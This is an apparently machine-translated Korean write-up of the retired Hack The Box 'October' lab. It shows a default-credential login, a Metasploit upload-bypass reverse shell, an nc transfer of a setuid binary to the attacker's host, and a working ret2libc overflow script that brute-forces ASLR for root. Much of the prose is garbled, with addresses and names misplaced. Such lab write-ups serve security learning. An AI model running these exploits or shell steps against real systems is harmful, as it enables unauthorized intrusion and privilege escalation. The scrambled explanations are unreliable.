10월 Hack The Box의 버퍼가 ASLR 옆길로 넘쳤습니다. - Metasploit 장착.

이 시리즈는 HackTheBox 연습에 따를 것입니다.발표된 모든 WriteUp은 효력을 상실한 HTB 기기에 적용됩니다.pwn 서버가 제목에 표시될 때 Metasploit를 사용할지 여부입니다.

시월


난이도: 중간
기계 IP: 10.10.10.16
포트 스캔은 웹 서버를 유일한 벡터로 인식합니다.
sudo nmap -sS -T4 -p- 10.10.10.16

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:14 EDT
Nmap scan report for 10.10.10.16
Host is up (0.017s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 97.13 seconds
sudo nmap -sS -T4 -A -p 22,80 10.10.10.16

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:20 EDT
Nmap scan report for 10.10.10.16
Host is up (0.020s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS                                                                                              
1   26.69 ms 10.10.14.1                                                                                           
2   26.69 ms 10.10.10.16
웹 서버에는 어떤 현식 수면이 있어서 요청에 응답하는 데 시간이 오래 걸립니다.이것은 목록을 일일이 열거하는 것을 어렵게 한다.나는 약 20분 후에 지금까지 다음과 같은 내용을 가지고 있는 비교적 작은 어휘표를 운행했다.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php --timeout 30s -u http://10.10.10.16/

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.16/
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        30s
===============================================================
2020/06/28 11:39:53 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/Blog (Status: 200)
/account (Status: 200)
/backend (Status: 302)
/blog (Status: 200)
/config (Status: 301)
/error (Status: 200)
나는 백그라운드에서 운행할 때 이 단점들을 연구하기 시작할 수 있다.최초의 내용에서 나는 그것이 실행 중인 것을 볼 수 있다October CMS.http://10.10.10.16/backend 로그인 양식을 표시합니다.나는 admin / admin 이 증명서가 정확하다는 것을 발견했다.
searchsploit 인증된 세션을 이용하는 Metasploit 모듈이 있음을 나타냅니다.
searchsploit october

-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit)              | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                                  | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting                                    | php/webapps/44144.txt
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting                 | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting                           | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery                     | php/webapps/43106.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
나는 계속해서 Metasploit의 exploit/multi/http/october_upload_bypass_exec 모듈을 사용하여 사용자 셸을 www-data 사용자로 얻었다.
msf5 exploit(multi/http/october_upload_bypass_exec) > run

[*] Started reverse TCP handler on 10.10.14.41:4444 
[+] Authentication successful: admin:admin
[*] Sending stage (38288 bytes) to 10.10.10.16
[*] Meterpreter session 1 opened (10.10.14.41:4444 -> 10.10.10.16:49062) at 2020-06-28 12:16:13 -0400
[+] Deleted pXNLiuNzD.php5

meterpreter >
나는 사용자 로고를 얻을 수 있다.여기에서 나는 Linux Smart Enumeration (LSE) 목표를 올리고 그것을 실행하여 시스템을 매거한다.
www-data@october:/tmp$ ./lse.sh -c -i -l 1 | less
가장 재미있는 것은 시스템에 setuid 바이너리 파일이 존재하는데 실행할 수 있다는 것이다www-data.
[!] fst020 Uncommon setuid binaries........................................ yes!
:
---
:        
/usr/local/bin/ovrflw
LSE는 훌륭한 매거진 스크립트입니다.setuid 바이너리 파일은 SUID 비트 집합을 가진 실행 가능한 파일입니다.이것은 파일을 실행하는 사용자가 누구든지 간에 파일은 파일 소유자의 권한으로 실행된다는 것을 의미한다.가령 root 파일을 가지고 있다고 가정하면 /usr/local/bin/ovrflw 바이너리 파일을 어떤 방식으로 셸을 실행할 수 있다면 셸은 루트 사용자로 생성될 것이다.
파일 이름을 지정합니다. 버퍼가 넘쳐야 한다고 가정합니다.실제로 나는 대량의 입력을 전달함으로써 넘치는 빈틈이 있는지 검증할 수 있다.
www-data@october:/tmp$ /usr/local/bin/ovrflw
/usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>

www-data@october:/tmp$ /usr/local/bin/ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
www-data@october:/tmp$ ^[[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault (core dumped)
www-data@october:/tmp$ 
나는 분할 오류가 하나 있다.이 바이너리 파일을 내 기계에 복사하고 버퍼 넘침 분석을 위해 준비할 때가 되었다.
내 기계에서, 나는 데이터를 탐지하고 파일로 출력하기 위해 넷캣을 설정했다.
artis3n@kali-pop:~/shares/htb/october$ sudo nc -l -p 999 > ovrflw
대상ovrflw에 존재하기 때문에 다음 명령을 사용하여 파일을 전송할 수 있습니다.
www-data@october:/tmp$ nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
로컬 파일이 서버의 파일과 동일한지 확인하려면 nc 을 사용합니다.
artis3n@kali-pop:~/shares/htb/october$ md5sum ovrflw 
0e531949d891fd56a2ead07610cc5ded  ovrflw

www-data@october:/tmp$ md5sum /usr/local/bin/ovrflw
md5sum /usr/local/bin/ovrflw
0e531949d891fd56a2ead07610cc5ded  /usr/local/bin/ovrflw
나는 또 목표 시스템의 구조를 검사해야 한다.
이것은 Ubuntu 14.04를 실행하는 32개의 기계입니다.
www-data@october:/tmp$ uname -a
uname -a
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
www-data@october:/tmp$ cat /etc/lsb-release
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
개발 버퍼가 넘칠 때 가능한 한 목표를 맞추고 싶어서 Ubuntu 14.04 이미지를 사용합니다.내가 찾을 수 있는 가장 가까운 것은 https://releases.ubuntu.com/trusty/ubuntu-14.04.6-desktop-i386.iso, 매우 가깝다.VMWare에서 시작하고 설치를 시작합니다.Virtualbox를 사용할 수 있지만 VMWare보다 Virtualbox 가상 시스템의 성능이 훨씬 떨어진다고 생각합니다.AWS의 공공 커뮤니티인 AMIs 아래에 md5sum도 있으니 한번 해 보세요.
VMWare VM에서 설치하는 데 약 5분 정도 걸립니다.PEDA 는 ubuntu/images/ebs/ubuntu-trusty-14.04-i386-server-20180627 입니다.이것은 Python Exploit Development Assistance for GDB에 대한 유익한 보충이다.
sudo apt update && sudo apt install -y build-essential git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
나는 바이너리 파일을 이 테스트 가상 컴퓨터로 복사할 것이다.
artis3n@ubuntu:~/Desktop$ wget http://172.16.145.128:8000/ovrflw

--2020-06-28 10:26:29--  http://172.16.145.128:8000/ovrflw
Connecting to 172.16.145.128:8000... ^C
artis3n@ubuntu:~/Desktop$ wget http://192.168.1.209:8000/ovrflw
--2020-06-28 10:27:20--  http://192.168.1.209:8000/ovrflw
Connecting to 192.168.1.209:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7377 (7.2K) [application/octet-stream]
Saving to: ‘ovrflw’

100%[============================================================>] 7,377       --.-K/s   in 0.001s  

2020-06-28 10:27:20 (12.1 MB/s) - ‘ovrflw’ saved [7377/7377]

artis3n@ubuntu:~/Desktop$ ls -l

total 8
-rw-rw-r-- 1 artis3n artis3n 7377 Jun 28 10:07 ovrflw
이제 분석을 시작하겠습니다.
gdb ./ovrflw
> b main
> run
레지스터와 메모리 주소의 보기는 PEDA에서 보입니다.
gdb
나는 PEDA의 gdb 명령을 사용하여 바이너리 파일로 컴파일된 안전 표지를 검사할 수 있다.
PEDA checksec이 활성화되었지만 나는 정말 개의치 않는다.나는 또한 목표 기계에 ASLR이 사용되었는지 검사해야 한다.
목표에서 나는 NX의 메모리 주소를 얻었다. 그 중에서 다음과 같다.
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
중복 호출 libc0xb7565000 의 메모리 주소가 매번 변화하고 있음을 보여 준다.
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7640000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7547000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc    
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ba000)
이것은 ASLR이 활성화되었음을 의미합니다.이것은 목표 시스템에서 정적 메모리 주소를 가져와 공격을 할 수 없다는 것을 의미한다. 왜냐하면 매번 메모리 주소가 다르기 때문이다.
이와 동시에, 나의 테스트 가상 기기에서, 나는 ASLR을 사용하지 않아서, 기본적인 버퍼 영역의 과잉 공격을 효력을 발생시켰다.나는 ASLR을 돌기 위해 그것을 수정해야만 했지만, 한 걸음 한 걸음 발자국이 났다.ASLR을 비활성화하려면 다음과 같은 명령을 루트 사용자로 실행해야 합니다.
artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n: 
root@ubuntu:/home/artis3n/Desktop# echo 0 > /proc/sys/kernel/randomize_va_space
테스트 가상 기기에서 ASLR이 비활성화된 것을 볼 수 있습니다. 왜냐하면 ldd /usr/local/bin/overflw 메모리 주소가 바뀌지 않았기 때문입니다.
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
Kali 호스트에서 버퍼 오프셋을 찾기 위한 모드를 생성합니다.실행 가능한 파일의 버퍼를 채우기 위해 바이트 데이터가 얼마나 필요한지 알려 줍니다.
artis3n@kali-pop:~/shares/htb/october$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
테스트 가상 시스템에서, 나는 libc 에서 실행할 때 이 모드를 프로그램의 입력으로 사용하여 응용 프로그램이 붕괴될 때 메모리에서 이 모드의 세션을 찾습니다.예, 전체 명령 과정에서 호스트 사이를 계속 전환해야 합니다.내가 흑체로 표시한 호스트가 무엇인지 자세히 검사해라!
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x64413764 in ?? ()
보아하니 su 프로그램이 붕괴된 데이터이다.
Kali 호스트로 돌아가서 이 16진 코드를 실행하여 바이트의 정확한 수량을 찾았습니다: libc.
artis3n@kali-pop:~/shares/htb/october$ msf-pattern_offset -q 0x64413764
[*] Exact match at offset 112
테스트 가상 머신에서 ASLR을 사용하지 않으면 다음과 같은 설정 구조 버퍼를 사용하여 빈틈을 넘길 수 있습니다.시스템 호출 gdb0x64413764 의 메모리 주소, 그리고 pattern_offset 의 메모리 주소가 필요합니다.이것은 나로 하여금 112 공격을 구성하게 할 것이다.나는 의 서면 문서에서 이것에 대해 더욱 상세하게 설명하였다.
나는 system-exit의 메모리 주소를 얻었다.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e53310 <__libc_system>
나는 /bin/sh 명령과 결과를 복사하지 않았지만, return-to-libc 대신 system 에 대해 상술한 조작을 반복할 수 있습니다.
나는 0xb7e53310-p exit의 메모리 주소를 얻었다
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f75d4c ("/bin/sh")
이렇게 하면 다음 (ASLR 비활성화) 빈틈을 만들 수 있습니다.
#!/usr/bin/env python

import struct

buffersled = "A"*112

libc = ''
system = struct.pack('<I', 0xb7e53310)
exit = struct.pack('<I', 0xb7e46260)
binsh = struct.pack('<I', 0xb7f75d4c)

payload = buffersled + system + exit + binsh

print payload
만약 내가 이 프로그램의 실행을 테스트 VM의 exit 바이너리 파일에 입력으로 전달한다면, 나는 루트 셸을 얻을 것이다.
./ovrflw $(python exploit.py)
그러나 이는 ASLR이 비활성화된 경우에만 수행됩니다.효과적인 빈틈이 생겼습니다. 저는 지금 ASLR을 다시 사용해서 저의 빈틈을 계속 개발할 수 있습니다.
artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n: 
root@ubuntu:/home/artis3n/Desktop# echo 2 > /proc/sys/kernel/randomize_va_space 
ASLR을 다시 활성화하면 system 메모리 주소가 매번 변경됩니다.
artis3n@ubuntu:~/Desktop$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b9000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a4000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e5000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7613000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751f000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751b000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7530000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7522000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d6000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7561000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b7000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7596000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7533000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb754d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e1000)
그러나!
이 출력을 확인하면 메모리 주소가 상대적으로 변하지 않는 것을 알 수 있습니다.그것들은 통상적으로 /bin/sh로 시작하고, 어떤 것은 0xb7f75d4c로 시작한다.그것들은 모두 ovrflw로 끝났다.실제로 매번 중간의 두 바이트만 변화하고 있다.이것은 매번 호출할 때 libc 의 주소가 512가지 가능하다는 것을 의미한다.실행 가능한 파일을 호출할 때마다 나는 메모리 주소 0xb75 를 추측할 기회가 1/512에 달한다는 것이다.만약 내가 바이너리 코드 513번을 이용한다면, 나는 그 중의 한 주소를 다시 볼 가능성이 매우 높다.사실 return-to-libc 때문에 나는 약 30번의 추측만으로 정확한 추측0xb76 메모리 주소의 50% 이상의 확률을 얻을 수 있다.
HTB Frolic
birthday paradox
위 목록의 첫 번째 메모리 주소 000 를 사용하고 케이스를 얻을 때까지 유효 부하를 강제로 실행할 수 있습니다.서버를 파괴하지 않고 필요에 따라 여러 번 충돌할 수 있기 때문에 이것은 작용할 뿐입니다.
따라서 이제 VM 테스트 대신 대상 시스템에서 메모리 주소를 수집해야 합니다.
대상libc의 메모리 주소를 얻었습니다. - libc:
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc  
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755c000)
현재 나는 libc, 0xb75b9000, libc 메모리 주소에 대한 상대적인 위치의 메모리 편이량이 필요하다.이것은 우리가 어떤 실행 기간에 정확한 0xb755c000 주소를 추측하기만 하면 이 세 개의 메모리 주소가 정확하다는 것을 허용한다.우리는 system 라이브러리의 exit 메모리 편이량을 얻었다. 이것은 이전의 /bin/sh 메모리 주소 명령의 결과이다.libc 주소는 libc 입니다.
www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
stemelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i sy 
   243: 0011b710    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
readelf 주소는 /lib/i386-linux-gnu/libc.so.6 입니다.
www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
itadelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i ex 
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   446: 000336d0   268 FUNC    GLOBAL DEFAULT   12 __cxa_thread_atexit_impl@@GLIBC_2.18
   554: 000b84f4    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e5f0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00128b50    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1380: 001ac204     4 OBJECT  GLOBAL DEFAULT   31 argp_err_exit_status@@GLIBC_2.1
  1492: 000fb480    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  1836: 000b84f4    24 FUNC    WEAK   DEFAULT   12 _Exit@@GLIBC_2.1.1
  2090: 001ac154     4 OBJECT  GLOBAL DEFAULT   31 obstack_exit_failure@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fbff0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2
libcsystem@@GLIBC_2.00x00040310처럼 시스템 호출이 아니기 때문에 exit@@GLIBC_2.0을 사용하여 메모리 편이량을 얻을 수 없습니다.반대로 나는 0x00033260 라이브러리에 사용할 수 있다/bin/sh.
www-data@october:/dev/shm$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
n/shngs -atx /lib/i386-linux-gnu/libc.so.6 | grep /bi 
 162bac /bin/sh
system 메모리 주소는 exit 입니다.
이제 최종 유효 하중을 만듭니다.이 스크립트는 내 빈틈 공격을 최대 512회 실행합니다.
#!/usr/bin/env python

from subprocess import call
import struct

buffersled = "A"*112

libc = 0xb755c000
system = struct.pack('<I', libc + 0x00040310)
exit = struct.pack('<I', libc + 0x00033260)
binsh = struct.pack('<I', libc + 0x00162bac)

payload = buffersled + system + exit + binsh


i = 0
while (i < 512):
    print("Try %s" % i)
    i += 1
    ret = call(["/usr/local/bin/ovrflw", payload])
나는 이 유효 부하를 목표 기계에 업로드하고 그것을 실행한다.
몇 초 안에 나는 껍질이 하나 생겼다!

나는 깃발을 잡으러 갈 것이다.

좋은 웹페이지 즐겨찾기